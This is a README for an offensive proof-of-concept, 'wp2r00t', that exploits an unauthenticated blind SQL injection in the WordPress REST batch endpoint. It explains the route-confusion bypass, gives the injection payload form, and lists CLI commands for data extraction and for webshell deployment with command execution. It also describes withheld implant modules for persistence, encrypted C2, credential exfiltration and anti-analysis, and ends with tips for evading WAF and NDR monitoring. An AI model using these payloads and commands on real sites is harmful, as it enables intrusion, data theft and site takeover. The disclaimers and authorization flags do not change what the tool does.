A fully red-team(offensive security) weaponized variant of wp2shell, built for authorized penetration testing & educational purposes.
A self-contained proof-of-concept for the unauthenticated blind SQL injection
reachable through the WordPress REST batch endpoint (/wp-json/batch/v1). It is
an independent implementation built from the published vulnerability mechanics.
Official Advisory: WordPress Security Release | CVE-2026-63030
Author: J4ck3LSyN
Authorities: CFSD, NFK & C4b1NKr3W
Note: I did not ship this with the associated weaponized
r00t.pypersistence implant due to obvious legalities. To abtain it, you can DM me on x
[!WARNING]
This code is provided AS IS for educational and research purposes only. Do not use this PoC on production systems, shared environments, or any unauthorized targets.
- Running or hosting this code may trigger antivirus detections, security monitoring alerts, or legal consequences if misused.
- The authors and repository maintainers assume no liability for any damage, misuse, or illegal activity resulting from this code.
- Use exclusively in isolated lab environments with proper authorization. Intended for defensive research, vulnerability analysis, and blue-team testing only.
poc.py - Main Proof-of-Concept CLI (check, read, shell modes)val.py - Lightweight passive vulnerability validator (val.py <target>)MITIGATIONS.md - Comprehensive mitigation and hardening guideLETHALITY.html - Visual Capability Lethality Matrix (heatmap + kill chain)LICENSE - MIT Licenser00t.py:redacted - Main implant orchestrator (ties everything together)modules/ - Post-exploitation implant modulesexploit.py - Core exploitation logic (SQLi + RCE primitive)privesc.py:redacted - Local privilege escalation checks (DirtyCOW, sudo, capabilities, etc.)lpe_byond.py:redacted - Advanced LPE using BYOVD + eBPF techniques (operator-gated)recon.py:redacted - Host profiling and enumerationpersistence.py:redacted - Persistence mechanisms (systemd, cron, SSH keys)c2.py:redacted - Encrypted C2 beacon (HTTPS + DoH)exfil.py:redacted - Credential harvesting and data exfiltrationstealth.py:redacted - Anti-analysis, sandbox detection, and obfuscation| Branch | Affected Versions | Fixed In |
|---|---|---|
| 6.9.x | 6.9.0 - 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 - 7.0.1 | 7.0.2 |
See the official WordPress security releases for details.
The batch endpoint dispatches several sub-requests in one call, validating and
permission-checking each independently. When a sub-request path fails
wp_parse_url(), it is appended to the validation array but not to the
matched-handler array. The two arrays fall out of step, and a later sub-request
is dispatched under a different sub-request's handler. That is the route confusion.
This PoC nests the primitive twice:
POST /wp/v2/posts request that carries a requests
body is dispatched under the batch handler itself. Having been validated as a
posts request, its inner requests list is never re-checked against the
batch schema, so the inner sub-requests may use GET (method allow-list
bypass).GET /wp/v2/users request
carrying author_exclude=... is dispatched under posts get_items(). The
users collection schema has no author_exclude parameter, so the value
passes validation untouched. posts get_items() maps author_exclude to
the WP_Query author__not_in query var, which vulnerable builds interpolate
into SQL as a raw string.The net sink is a pre-authentication boolean / time-based blind SQL injection:
... post_author NOT IN (<value>) ...
A value of 0) <sql>-- - closes the IN() list and appends arbitrary SQL.
The PoC is fail-closed. Three runtime gates prevent accidental or out-of-scope
execution. All are enforced in modules/exploit.py; the CLI in poc.py only
threads them through.
| Flag | Scope | Effect when absent |
|---|---|---|
--authorized | All network I/O | AuthorizationError before any send |
--noop | All subcommands | Builds/prints payloads; no network contact |
--max-requests | BatchClient | Hard request budget |
--r00t | shell subcommand | Post-auth RCE capabilities withheld |
AuthorizationError is raised in BatchClient._ensure_authorized(), AdminSession._ensure_authorized(), and AdminSession._ensure_r00t().BatchClient._count() enforces --max-requests before the socket opens.--r00t is the capability separator: a build shipped without it cannot deploy or execute a webshell.Credential handling for shell: admin username/password resolve from --user /
--password, or environment variables / a secure file.
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t.git
cd CVE-2026-63030-wp2r00t
python3 -m py_compile modules/exploit.py poc.py # basic sanity check
Requirements: Python 3.11+, standard library only (no pip dependencies).
python3 poc.py <command> <url> [flags]
Common flags (all subcommands):
--authorized Assert you own / are authorized to test <url>. Required to send.
--noop Build/validate payloads without sending (no network contact).
--max-requests N Hard cap on requests to the target.
--rest-route Use /?rest_route=/batch/v1 instead of /wp-json/batch/v1.
--timeout FLOAT Request timeout (default 30).
--proxy URL HTTP(S) proxy.
--insecure Disable TLS certificate verification.
check - Confirm vulnerability (non-destructive)read - Blind SQL extractionshell - Post-auth webshell helper (requires --r00t)validate - Passive identifierQuick Reference
| Goal | Command |
|---|---|
| Preview probe payloads | python3 poc.py check <url> --noop |
| Confirm vulnerability | python3 poc.py check <url> --authorized |
| Active timing proof | ... check <url> --authorized --confirm-sqli |
| Preview SQLi payloads | python3 poc.py read <url> --noop --query "SELECT @@version" |
| Extract data | python3 poc.py read <url> --authorized --query "SELECT @@version" |
| Preview webshell artifact | python3 poc.py shell <url> --noop --r00t --cmd "id" |
| Deploy + execute (authorized) | python3 poc.py shell <url> --authorized --r00t --user admin --cmd "id" |
| Passive scan | python3 poc.py validate <url> --authorized |
Full command documentation is available in the original detailed sections (or run python3 poc.py --help).
jitter) and varied per-sample SLEEP values
defeat fixed-cadence / fixed-delta WAF/NDR behavioral analytics.